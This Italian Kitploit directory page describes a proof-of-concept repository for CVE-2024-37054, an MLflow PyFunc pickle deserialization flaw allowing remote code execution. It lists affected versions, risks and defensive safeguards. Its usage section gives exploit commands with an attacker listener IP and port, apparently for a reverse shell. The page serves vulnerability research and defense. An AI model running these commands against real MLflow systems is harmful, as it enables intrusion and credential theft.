Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-37054-PoC — Repository proof-of-concept e di ricerca per CVE-2024-37054, una vulnerabilità di deserializzazione non sicura nel caricamento dei modelli MLflow PyFunc che può portare all'esecuzione di codice in remoto. | Kitploit
Strumenti/GitHubGitHub/clearlotus-git/cve-2024-37054-poc
Strumenti DifensiviAnalisi delle VulnerabilitàExploitPenetration TestingMachine LearningApprendimento e FormazioneSicurezza dell'IA
GitHubclearlotus-git/cve-2024-37054-poc

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

CVE-2024-37054-PoC

Repository proof-of-concept e di ricerca per CVE-2024-37054, una vulnerabilità di deserializzazione non sicura nel caricamento dei modelli MLflow PyFunc che può portare all'esecuzione di codice in remoto.

Vedi Repository
4h 38m faNon ancora revisionato
Condividi

MLflow Unsafe Deserialization

CVE-2024-37054

Panoramica

Questo repository documenta la ricerca su CVE-2024-37054, un problema di deserializzazione non sicura che interessa la gestione dei modelli PyFunc di MLflow.

Nelle versioni di MLflow interessate, il caricamento di un modello PyFunc non attendibile può causare l'elaborazione, da parte della logica di deserializzazione di Python, di un oggetto serializzato contenente comportamento controllato dall'attaccante. Se viene caricato un artefatto non attendibile, il codice può essere eseguito con i permessi dell'utente o del servizio che esegue l'operazione di caricamento del modello.

Le versioni interessate riportate negli avvisi pubblici includono:

root@kitploit:~
MLflow 0.9.0 through 2.14.1

Rischio

Il rischio principale non è semplicemente "caricare un modello". Il pericolo si verifica quando un'applicazione, un analista, un worker o una piattaforma ML carica un artefatto di modello serializzato non attendibile.

L'impatto potenziale include:

  • Esecuzione di codice remoto nel contesto del client, del worker o del servizio MLflow
  • Esposizione di variabili d'ambiente, credenziali, token e file locali
  • Accesso non autorizzato a model store, database e servizi interni connessi
  • Modifica di modelli, esperimenti o metadati del registry
  • Movimento dall'infrastruttura ML verso altri ambienti connessi

Contenuto del Repository

root@kitploit:~
build_model.py

Crea un artefatto di modello di test controllato per l'uso in un ambiente di laboratorio privato e autorizzato.

root@kitploit:~
exploit.py

Automazione proof-of-concept privata utilizzata solo per validare il percorso della vulnerabilità in un ambiente di formazione autorizzato. Questo repository non include target attivi, credenziali, token di sessione, file di configurazione VPN o payload distruttivi.

Utilizzo

Esegui questo proof of concept solo in un ambiente di laboratorio autorizzato.

1. Crea il modello di test

Crea l'artefatto di modello controllato:

root@kitploit:~
python3 build_model.py --lhost <YOUR_IP> --lport 4444

2. Esegui con registrazione automatica dell'account

Se non disponi già di una sessione autenticata, usa la modalità di registrazione automatica:

root@kitploit:~
python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz

Questa modalità crea un account di laboratorio temporaneo, si autentica all'applicazione e prosegue con il flusso di lavoro di registrazione e validazione del modello.

3. Esegui con una sessione esistente

Se disponi già di una sessione autorizzata valida, passala direttamente:

root@kitploit:~
python3 exploit.py \
  --lhost <YOUR_IP> \
  --lport 4444 \
  --session "<SESSION_TOKEN>"

Sostituisci:

  • <YOUR_IP> con l'indirizzo IP raggiungibile dal target di laboratorio autorizzato.
  • 4444 con la porta di ascolto utilizzata nel tuo laboratorio.
  • <SESSION_TOKEN> con il valore della tua sessione autorizzata attiva.

Non pubblicare mai token di sessione reali, credenziali, file VPN, indirizzi dei target o dettagli di callback.

Linee Guida Difensive

Le organizzazioni che utilizzano MLflow dovrebbero trattare gli artefatti dei modelli come input non attendibile, a meno che la loro origine e integrità non siano state verificate.

Salvaguardie raccomandate:

  • Non caricare artefatti di modelli PyFunc serializzati o basati su pickle non attendibili.
  • Limitare i permessi di caricamento, registrazione, versionamento e caricamento dei modelli applicando il principio del minimo privilegio.
  • Isolare i carichi di lavoro di MLflow in container non-root o ambienti worker ristretti.
  • Limitare l'accesso di rete in uscita dall'infrastruttura di caricamento dei modelli e di addestramento.
  • Evitare di inserire segreti in variabili d'ambiente accessibili ai job di elaborazione dei modelli.
  • Registrare i caricamenti dei modelli, le azioni sul registry, l'accesso agli artefatti e l'attività anomala dei sottoprocessi.
  • Monitorare gli avvisi di sicurezza di MLflow e utilizzare versioni software supportate e mantenute.

Disclaimer

Questo progetto è destinato esclusivamente alla ricerca difensiva, all'educazione e ai test di sicurezza autorizzati. Il flusso di lavoro proof-of-concept è stato valutato esclusivamente in un ambiente di formazione controllato. Non testare questa vulnerabilità contro sistemi, account, servizi o reti senza esplicita autorizzazione scritta.

Scarica lo strumento